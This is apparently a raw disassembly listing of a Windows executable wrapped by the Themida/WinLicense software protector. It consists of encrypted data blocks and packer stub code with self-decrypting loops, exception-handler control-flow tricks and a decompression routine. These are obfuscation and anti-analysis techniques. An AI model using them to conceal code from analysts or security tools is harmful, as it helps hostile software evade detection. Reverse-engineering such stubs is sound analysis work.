		dd 486B9C00h, 2, 2 dup(0)
		dd 84A95300h, 156h, 9 dup(0)
		dd 9F69DD00h, 0DD189A00h, 58DFBF77h, 0
		dd 57A34A00h, 12h dup(0)
		dd 5993A800h, 0BF00F880h, 73694600h, 0B9h, 5 dup(0)
		dd 0BC0E3E00h, 66h, 3 dup(0)
		dd 5A000000h, 0B05702h,	3 dup(0)
		dd 0BF743E00h, 82h dup(0)
		dd 58000000h, 2	dup(0)
		dd 0B000h, 0
dword_53EE34	dd 48491000h, 2Ah, 13h dup(0)
		dd 5A400800h, 2	dup(0)
		dd 0FB5E200h, 8Ah, 0
		dd 9F6A2D00h, 4DE00000h, 0
		dd 0A5BDD100h, 0FFh, 100h, 58244900h, 0Ah dup(0)
		dd 57274900h, 0EBA6E900h, 77h, 3 dup(0)
		dd 9F69DD00h, 2	dup(0)
		dd 5A619900h, 5	dup(0)
		dd 0FF910C00h, 0FFh, 0
		dd 0E6D70600h, 77h, 0Bh	dup(0)
		dd 0FF8B1400h, 0FFh, 53F00A00h,	24015B00h, 54h,	0E7A14400h
		dd 0A8005077h, 0FDh, 3 dup(0)
		dd 4960200h, 0FFh, 0
		dd 4934EB00h, 46h, 0FE030400h, 0DD59F07Fh, 77h,	57685400h
		dd 0
		dd 9FA00F00h, 3	dup(0)
		dd 53E40900h, 7	dup(0)
		dd 0E776CD00h, 40000077h, 2, 0E75CB500h, 0A7BC2D77h, 0FFh
		dd 54025600h, 12FF5400h, 64h dup(0)
		dd 0A0156400h, 0Dh dup(0)
		dd 597F5D00h, 32h, 0Ch dup(0)
		dd 50F00h, 0
		dd 0B5C800h, 55597400h,	86h, 0
		dd 4934EB00h, 46h, 5AD80900h, 4	dup(0)
		dd 0E4800h, 7 dup(0)
		dd 57313E00h, 2	dup(0)
		dd 100h, 9F939300h, 0Ah	dup(0)
		dd 0E74A3B00h, 77h, 6 dup(0)
		dd 49010800h, 18h dup(0)
		dd 100h, 0
		dd 57FFC200h, 9F710F00h, 0
		dd 59000000h, 88296902h, 3Bh, 6D9E00h, 2 dup(0)
		dd 4000FE00h, 0
		dd 28939D00h, 71h, 0
		dd 12FFA400h, 0
		dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0)
		dd 9E0FE600h, 0
		dd 0FD4E8700h, 0CDh, 3 dup(0)
		dd 12FF5400h, 0
		dd 0A777AD00h, 5A71100Dh, 0E9A8C500h, 0F7h, 7 dup(0)
		dd 582FD800h, 2	dup(0)
		dd 100h, 0FF918000h, 0FFh, 0
		dd 53E11900h, 0
		dd 93CCBB00h, 0E5h, 0
		dd 800h, 2 dup(0)
		dd 100h, 5 dup(0)
		dd 0C5209900h, 7D11Bh, 8 dup(0)
		dd 57313E00h, 100h, 2 dup(0)
		dd 39000000h, 0Dh, 5A400800h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53F46D:				; CODE XREF: start:loc_53C0A4j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60B33D3h
		mov	[ebp+60B102Dh],	edx
		mov	[ebp+60B2891h],	esi
		mov	[ebp+60B217Dh],	eax
		cmp	dword ptr [ebp+60B067Dh], 0
		jz	short loc_53F4A5
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_53F4A5:				; CODE XREF: start+5F483j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+60B21A5h],	eax
		push	45h
		call	sub_53F559
		push	783749Ah
		call	sub_53F59F
		push	0A894B25h
		call	sub_53F59F
		jmp	loc_53F6E3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F559	proc near		; CODE XREF: start+5F49Dp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60B34C1h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_53F575:				; CODE XREF: sub_53F559+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53F594
		mov	eax, [ebp+arg_0]
		mov	[ebx+60B342Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53F575
; ---------------------------------------------------------------------------

loc_53F594:				; CODE XREF: sub_53F559+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53F559	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F59F	proc near		; CODE XREF: start+5F4A7p start+5F4B1p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60B350Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_53F5C5:				; CODE XREF: sub_53F59F+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53F5C5
		mov	[ebp+var_84], 0
		lea	edi, [edx+60B342Bh]
		lea	esi, [ebp+var_80]

loc_53F5F5:				; CODE XREF: sub_53F59F+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_53F601:				; CODE XREF: sub_53F59F+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53F601
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53F5F5
		popa
		leave
		retn	4
sub_53F59F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53F63F
; ---------------------------------------------------------------------------

loc_53F63B:				; CODE XREF: Themida_:0053F642j
		inc	dword ptr [ebp-4]
		inc	esi

loc_53F63F:				; CODE XREF: Themida_:0053F639j
		cmp	byte ptr [esi],	0
		jnz	short loc_53F63B
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53F6D0
; ---------------------------------------------------------------------------

loc_53F651:				; CODE XREF: Themida_:0053F6D3j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53F6C7
; ---------------------------------------------------------------------------

loc_53F65A:				; CODE XREF: Themida_:0053F6CBj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53F6B4
; ---------------------------------------------------------------------------

loc_53F66A:				; CODE XREF: Themida_:0053F6B8j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53F68C
		cmp	bl, 39h
		ja	short loc_53F68C
		sub	bl, 30h
		jmp	short loc_53F6AE
; ---------------------------------------------------------------------------

loc_53F68C:				; CODE XREF: Themida_:0053F680j
					; Themida_:0053F685j
		cmp	bl, 61h
		jb	short loc_53F69E
		cmp	bl, 66h
		ja	short loc_53F69E
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53F6AE
; ---------------------------------------------------------------------------

loc_53F69E:				; CODE XREF: Themida_:0053F68Fj
					; Themida_:0053F694j
		cmp	bl, 41h
		jb	short loc_53F6AE
		cmp	bl, 46h
		ja	short loc_53F6AE
		sub	bl, 41h
		add	bl, 0Ah

loc_53F6AE:				; CODE XREF: Themida_:0053F68Aj
					; Themida_:0053F69Cj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_53F6B4:				; CODE XREF: Themida_:0053F668j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53F66A
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53F6C4
		mov	eax, [ebp-10h]
		stosb

loc_53F6C4:				; CODE XREF: Themida_:0053F6BEj
		inc	dword ptr [ebp-8]

loc_53F6C7:				; CODE XREF: Themida_:0053F658j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53F65A
		add	edx, 4

loc_53F6D0:				; CODE XREF: Themida_:0053F64Fj
		cmp	edx, [ebp-4]
		jb	loc_53F651
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53F6E3:				; CODE XREF: start+5F4B6j
		mov	ecx, 7000h
		lea	edi, [ebp+60B3650h]

loc_53F6EE:				; CODE XREF: start+5F6DEj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53F6EE
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60B3743h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, edx
		js	loc_53F72B
		push	eax
		mov	ebx, eax
		pop	ebx

loc_53F72B:				; CODE XREF: start+5F70Dj
		sub	eax, edx
		push	0
		push	ebp
		call	sub_53F738
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F738	proc near		; CODE XREF: start+5F71Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_53F738	endp

; ---------------------------------------------------------------------------
		dd 20C1EC32h, 25F0F380h, 0FFFFF000h, 0FDA8B66h,	0CA8BD8BFh
		dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah
		dd 2D087400h, 1000h, 64E3EB47h,	58Fh, 0C4830000h, 56958D04h
		dd 52060B37h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh
		dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60B3761h
		dd 371F858Dh, 8189060Bh, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 8C66FD8Ah,	7343BBD9h, 0E18015A7h, 0F3BB304h
		dd 0C90ADEB7h, 62850Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 19DDDAC3h, 2DCBF7D6h
		dd 0F9640FCh, 389h, 12D38000h, 0B1985C7h, 1060Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 6A82C2C3h, 1C4A56F3h, 0EE949h, 24B30000h, 0B1985C7h
		dd 60Bh, 0A5B30000h, 0B018589h,	6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C9FDFC3h
		dd 0B3B350BEh, 5585895Bh, 0E8060B13h, 0Dh, 0DD93BABBh
		dd 95DE9B58h, 0FA5E8479h, 38A0FB0h, 0F000000h, 0F85ED9BFh
		dd 7597C681h, 55B80000h, 2B1BC5BCh, 38D0FFFh, 66000000h
		dd 148BCA8Bh, 0C981663Eh, 0C281C652h, 7EB72F31h, 0C281FA8Ah
		dd 421E5E72h, 3860Fh, 8B660000h, 3DEA81CEh, 6650B172h
		dd 0B13AF181h, 0DF8B6652h, 663E048Fh, 502099B8h, 0FD8AF960h
		dd 0EF835961h, 0FCEC8004h, 8B14FF81h, 850FFFFFh, 19h, 2CE9D98Bh
		dd 0DF000000h, 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh
		dd 0CE8B6637h, 0FFFF91E9h, 0F520FFh, 76976E21h,	0D1CA97D2h
		dd 49CECE0Dh, 0E9020A3Ch, 6E8h,	9E9h, 9034EA00h, 8A94379Fh
		dd 2171799h, 10750000h,	60Bh, 0B8F960F9h, 0
		dd 0B5895260h, 60B120Dh, 0CBBF0F5Bh, 24548B61h,	0DE928h
		dd 0AEB10000h, 0A8E747BEh, 0BB5C5462h, 89F51E9Eh, 0B05E985h
		dd 0E9516006h, 10h, 510AE5A0h, 16FCFB83h, 0A044C486h, 0D430C064h
		dd 0DDE3815Ah, 617379BEh, 0DE9h, 0B75B6600h, 437B2651h
		dd 46C2C98Dh, 3CBEB421h, 0FC000000h, 24247403h,	89AD66F9h
		dd 0B0ED595h, 24440306h, 95896024h, 60B2119h, 9061CF8Bh
		dd 0DE9h, 4416DA00h, 416CE41Ah,	0A5BF7397h, 6050D6E7h
		dd 5B535250h, 8F0F310Fh, 0
		dd 9061585Ah, 0C8D0Fh, 8E0F0000h, 6, 0DAD9501h,	408B060Bh
		dd 0B58B6078h, 60B1895h, 0F199D8Bh, 361060Bh, 0E9282444h
		dd 8, 0C5CC8A79h, 0ADFE0F62h, 8918408Bh, 0B2E7D9Dh, 95314006h
		dd 60B2049h, 39028589h,	0E960060Bh, 7, 28EF0207h, 0E8BB55E8h
		dd 0Eh,	83EB0A17h, 68050C95h, 55BBE9B9h, 7E9E06Ch, 0DF000000h
		dd 0B98E06BEh, 615855A7h, 68C0F58h, 89000000h, 0B100D8Dh
		dd 78708B06h, 6BDB589h,	8E0F060Bh, 10h,	0BE9h, 331F600h
		dd 814D932Ah, 7CAB548Fh, 0F81CC683h, 1AC59501h,	7403060Bh
		dd 0BD892424h, 60B285Dh, 242DBD8Dh, 850F060Bh, 6, 15E98D89h
		dd 1AD060Bh, 0B2D91B5h,	24440306h, 0C880F24h, 0F000000h
		dd 68Dh, 198D8900h, 0AB060B18h,	30F19D29h, 0BD8D060Bh
		dd 60B0535h, 8850Fh, 850F0000h,	2, 0FAD6160h, 183h, 4403F900h
		dd 0B5892424h, 60B1905h, 23D8D89h, 0F90060Bh, 1185h, 0CE900h
		dd 65060000h, 72B1646Fh, 7EFBF5BDh, 0E9503313h,	0Eh, 797154ADh
		dd 93B2A6D8h, 2654DC95h, 0E9901040h, 0Ah, 0EFE31BA1h, 0BF274AA3h
		dd 0F9AB0CC9h, 2889BD8Dh, 0F560060Bh, 0FAD61F9h, 0A89h
		dd 0EBB96000h, 665FCCFAh, 361C88Bh, 29282444h, 0B05B18Dh
		dd 0BF60AB06h, 51564826h, 6890Fh, 0B5290000h, 60B1601h
		dd 95895E61h, 60B0295h,	39028DFFh, 0BD83060Bh, 60B3902h
		dd 0C7107500h, 1C2444h,	8D000000h, 0B3D90B5h, 56E6FF06h
		dd 244403ADh, 0DF8B9728h, 2845858Ah, 0C084060Bh, 73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 60B05E9h,	0FFFF6FE9h, 95095EFFh, 60B05D5h
		dd 5E9h, 0CF5A4000h, 9589E5ACh,	60B0CC1h, 5E9858Bh, 8D09060Bh
		dd 60B19B9h, 0DE9h, 87C4E00h, 168EEDA3h, 9DADE8D0h, 0E0D1CEA9h
		dd 0C860Fh, 66600000h, 8B4D9BBFh, 0B32D195h, 85036106h
		dd 60B2889h, 0B58960FCh, 60B0E91h, 16798D8Bh, 2B61060Bh
		dd 519589F6h, 96060B0Dh, 2DF19589h, 0AD66060Bh,	2E0C1FCh
		dd 17F98531h, 8503060Bh, 60B242Dh, 0AE996F8h, 7F000000h
		dd 0E5A1573Eh, 90B81B1h, 8BF9ADDEh, 0F24244Ch, 683h, 79B58900h
		dd 3060B15h, 0E9242444h, 10h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h
		dd 0C4D39B7Bh, 1C244489h, 6880Fh, 9D890000h, 60B233Dh
		dd 89ACF596h, 0B2049BDh, 0F8C93206h, 880FC1FEh,	0Bh, 9958B60h
		dd 80060B1Bh, 0D061DDCAh, 0C1830FD0h, 0F000000h, 188Bh
		dd 13E900h, 0A8540000h,	70B744E9h, 745CFFECh, 0F145EF55h
		dd 74BD6BCAh, 0FD0D0B4h, 9B83h,	8D8B6000h, 60B1661h, 2860Fh
		dd 0E3B70000h, 0FD0D061h, 8382h, 419D8900h, 0D0060B0Dh
		dd 75820FD0h, 60000000h, 0DE9h,	0F8769D00h, 1150FE88h
		dd 548BE7C0h, 860FB287h, 6, 8B0Fh, 60610000h, 69B589FCh
		dd 61060B31h, 890FC9FEh, 0FFFFFF7Bh, 20C483FCh,	0BE9h
		dd 196DC700h, 0CD8B0E46h, 752AB5BAh, 0FC2444C7h, 0
		dd 0BD8B60F9h, 60B15B5h, 1B861h, 9D010000h, 60B0C15h, 73058D8Dh
		dd 8D89060Bh, 60B3121h,	8531E1FFh, 60B01E5h, 284585C6h
		dd 0F00060Bh, 784h, 1810F00h, 0F9000000h, 8C2F861h, 31BD0900h
		dd 96060B21h, 0AE9h, 9A51E300h,	0D8C3991Eh, 50835240h
		dd 4800Fh, 0B4600000h, 60966195h, 61D7B70Fh, 3F96B589h
		dd 880F060Bh, 0Dh, 8E9h, 0A1D19600h, 6711C11Fh,	880F60D5h
		dd 2, 8961F48Ah, 0B3FC18Dh, 8DF9F806h, 0B3E7AB5h, 12E906h
		dd 0B5150000h, 5AF8087Bh, 790A1D57h, 869D78C3h,	1ACC71D1h
		dd 7E35858Dh, 13E9005Bh, 7E000000h, 4FF69C48h, 95A243DAh
		dd 3B3EFBB5h, 0C41C5753h, 0D0FFF4EAh, 41B58960h, 0E8060B09h
		dd 12h,	89FD2F43h, 6713D27Ah, 90805577h, 35EBC4CBh, 9E99F2Fh
		dd 0D4000000h, 0C4FB6B08h, 9D74A41Bh, 0F5E615Eh, 683h
		dd 858D3100h, 0C3060B1Eh, 15E98D09h, 0B58B060Bh, 60B3F96h
		dd 0BE860h, 48E40000h, 0B2B5B2h, 21190EC4h, 5BF5B085h
		dd 8BEB8A60h, 0B3365BDh, 8B616106h, 0B3FC18Dh, 0E98D0106h
		dd 2B060B26h, 68A0FC0h,	9000000h, 0B29E59Dh, 5E906h, 75800000h
		dd 8B65829Fh, 0B9E9F9D9h, 60000000h, 100D958Bh,	3261060Bh
		dd 7E926h, 553C0000h, 34E372C7h, 0F02B2ABh, 0C83h, 68D0F00h
		dd 29000000h, 0B0591BDh, 72E906h, 0E9600000h, 13h, 0E0C22B18h
		dd 476F9EDAh, 925069DEh, 3FEA119Ah, 6118D484h, 65950160h
		dd 66060B33h, 4173F081h, 0F8C23261h, 751D7A05h,	8953608Ah
		dd 0B2879BDh, 0CA815A06h, 4ACF33CDh, 60CC8A61h,	0DB58D31h
		dd 0D361060Bh, 98589C8h, 35060B27h, 98D10842h, 0AFD9D89h
		dd 0CAFE060Bh, 6870F60h, 8B000000h, 0B063595h, 3D958906h
		dd 61060B2Ah, 850FD20Ah, 0FFFFFFADh, 840F4BFCh,	1, 0B58946F5h
		dd 60B2F11h, 850FDB0Bh,	0FFFFFF47h, 0E58D8960h,	61060B13h
		dd 0F9CFh, 14890Fh, 0E9600000h,	7, 658070DBh, 8BF93479h
		dd 0B0DF99Dh, 0F86106h,	15950900h, 9060B13h, 0B05319Dh
		dd 60000006h, 59BBB66h,	22D9503h, 61060Bh, 0E2806000h
		dd 1995039Ch, 61060B20h, 390D858Dh, 12E9060Bh, 0EA000000h
		dd 0E3ABF9B3h, 7577873Fh, 0CBC1997Ch, 2D2F7387h, 0A9858958h
		dd 29060B08h, 0B03999Dh, 0AF858D06h, 0E9060B3Dh, 8, 0A962A740h
		dd 853EBDC5h, 1FA58589h, 8E8060Bh, 87000000h, 39A79DCBh
		dd 9950B6Dh, 0B33818Dh,	0BF0F5806h, 75C081C9h, 8B000059h
		dd 0B0DF98Dh, 1DB3306h,	0B0841BDh, 334FF06h, 0F7E2805Eh
		dd 1A98F681h, 11E8230Ch, 19000000h, 0D7F5A187h,	6B3D6A6Ch
		dd 10F765DEh, 0E41A509h, 599CEE80h, 0C9C8EE81h,	0EDB96758h
		dd 81438F60h, 8128B9F6h, 918D095Dh, 56060B0Bh, 0EE960h
		dd 9FF30000h, 1FE78470h, 0F8B1CAF7h, 0E7E433BDh, 11619D8Bh
		dd 8F61060Bh, 0BD8B1804h, 60B0681h, 0DA1B529h, 0EB81060Bh
		dd 4E68C54Ah, 6810Fh, 8D8B0000h, 60B29FDh, 0C546C381h
		dd 8E0F4E68h, 0
		dd 0A740FB81h, 850FFFFFh, 0FFFFFF6Dh, 14EBh, 3 dup(0)
		dd 8B0000h, 858D0000h, 60B41B2h, 2F598589h, 0BD83060Bh
		dd 60B40EAh, 34840F00h,	0C6000001h, 0B284585h, 4E85606h
		dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
		dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 0DE8589D0h, 0C6060B40h
		dd 0B284585h, 0A1685606h, 81667A86h, 31B12404h,	0B5FF362Eh
		dd 60B0B01h, 390D858Dh,	0D0FF060Bh, 40E28589h, 46A060Bh
		dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h,	0EE858B58h
		dd 5060B40h, 1F4h, 9002E0C1h, 6A9050h, 40E295FFh, 8589060Bh
		dd 60B40E6h, 0FFB8D88Bh, 0FFFFFFFFh, 0B2F5995h,	0FFC38B06h
		dd 0B2F5995h, 8DE906h, 0BD830000h, 60B40EAh, 1850F00h
		dd 0C3000000h, 0E6BD8B57h, 0AB060B40h, 40E68583h, 5F04060Bh
		dd 0EABD83C3h, 60B40h, 1850Fh, 60C30000h, 40E6AD83h, 8B04060Bh
		dd 0B40E69Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 40DE95FFh
		dd 0C361060Bh, 1DE9h, 5A936800h, 348178DCh, 0DCDA9324h
		dd 0FF006A78h, 0DE95FF33h, 83060B40h, 0B40E6ADh, 0A8E90406h
		dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
		dd 46068A80h, 0BB470788h, 2, 850FD202h,	5, 1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 781830D1h
		dd 0A6F6656Bh, 4CAAD507h, 0F6DE3ADEh, 0F35F1089h, 0C9C81EEh
		dd 35AF7A52h, 0ADE67F56h, 7518168Ch, 0AEFA2760h, 1FF8C215h
		dd 0B3D928CFh, 90305B86h, 18968B9Eh, 67A37B4Fh,	0ABE47F56h
		dd 75181583h, 0B3E5277Ah, 1F8DD0Fh, 0A4C236D3h,	0F35B5592h
		dd 1C81C7AAh, 35EE6A4Fh, 0ABF13157h, 6C180397h,	0B3E4687Ch
		dd 0F6DD01h, 63h dup(0)
		dd 711830D1h, 0B5EA6961h, 1CF8C20Fh, 0A4CA34C4h, 0F51A188Ah
		dd 1BD394AFh, 67E17B59h, 0AAFD7E45h, 694A5186h,	0AFEA6960h
		dd 2B19007h, 0A3C22296h, 0E4495599h, 149693BDh,	17821412h
		dd 0B7E9744Fh, 69185D87h, 0A0EC6B60h, 18B19004h, 0B9DF3D96h
		dd 0F8575586h, 8188A3h,	23E17F1Ch, 0B7ED6303h, 684A1096h
		dd 0B4EC7E2Eh, 1EA89012h, 0B7DF3CD9h, 5B86h, 48h dup(0)
		dd 7F1830D1h, 0AAE0667Ch, 1FFFC205h, 0B9C22F96h, 0FC525587h
		dd 1C91C7BDh, 21AF7059h, 0A0E6644Ch, 724D03C2h,	0A6ED6E60h
		dd 4CB6D940h, 0A4D834CFh, 0EE4306CBh, 579E82BAh, 2BDF1336h
		dd 0A1FB7046h, 724D51CEh, 0A5E26862h, 4CACD940h, 0BBC229D0h
		dd 0F05F18CBh, 598A95A1h, 67EB705Dh, 0B0FB7451h, 3C4C0383h
		dd 0B3F66877h, 3AAC040h, 0BBCC29D1h, 0C5h, 61h dup(0)
		dd 705137D1h, 0AEE0276Bh, 1CADC212h, 0F7C93EC2h, 0F56E55C5h
		dd 9D394A7h, 35E8714Eh,	0ACA87C42h, 7E180283h, 0E1ED626Bh
		dd 5B6D10Dh, 0B7C12EC6h, 0BD5E109Fh, 599789AFh,	25F67F51h
		dd 0AD851B46h, 3C4B5696h, 0A4E56967h, 8BDC403h,	0F6D43996h
		dd 0F46C558Ah, 598092BCh, 24AF6C53h, 0AFEB7051h, 3C161587h
		dd 0B2EA6F5Ah, 0B1D640h, 0B9DA7BD3h, 0BD4E5285h, 128188B9h
		dd 3EE17F1Ch, 0A1FA7E4Eh, 0CCh,	0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2E7Ch, 0FC48F380h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 8BC35141h, 98B857CFh, 11830Fh
		dd 0CE90000h, 0C9000000h, 92FC9744h, 7BBD70EEh,	8B6E0BB0h
		dd 31B589C0h, 83060B2Eh, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535013h, 1B8C0h, 9D8D0000h, 60DB1BCh, 585BD3FFh
		dd 29D1BD83h, 7400060Bh, 0B8535011h, 1,	0B06D9D8Dh, 0D3FF060Dh
		dd 14E9585Bh, 34000000h, 0C3C54FE7h, 0FC431CA4h, 9991199Eh
		dd 0B383C90Ch, 60EA2B20h, 68E0Fh, 858B0000h, 60B0531h
		dd 68B0Fh, 9D290000h, 60B1B4Dh,	8BC08B61h, 0B059D9Dh, 79BD8306h
		dd 60B2Eh, 1FA840Fh, 0DA810000h, 610E81AAh, 81DBD83h, 0F00060Bh
		dd 1E784h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4FB10B69h, 145C9FEFh, 14E8h, 6347FA00h
		dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 37EF1784h,	0D9EB8064h
		dd 0BD89605Ah, 60B07E1h, 81D858Bh, 6A060Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0D8D3C3h
		dd 8B705BA9h, 0B127D95h, 3E80506h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9551E4C3h
		dd 1F69BBA2h, 6E92B75h,	0B3000000h, 5E13C8Eh, 0B5BD29EBh
		dd 90060B27h, 14E8h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch
		dd 80E62188h, 0BB505A3Bh, 48B4A400h, 0DE990h, 0FC580000h
		dd 656D9BDDh, 3DB2344h,	8D677F54h, 0B4DB685h, 55006A06h
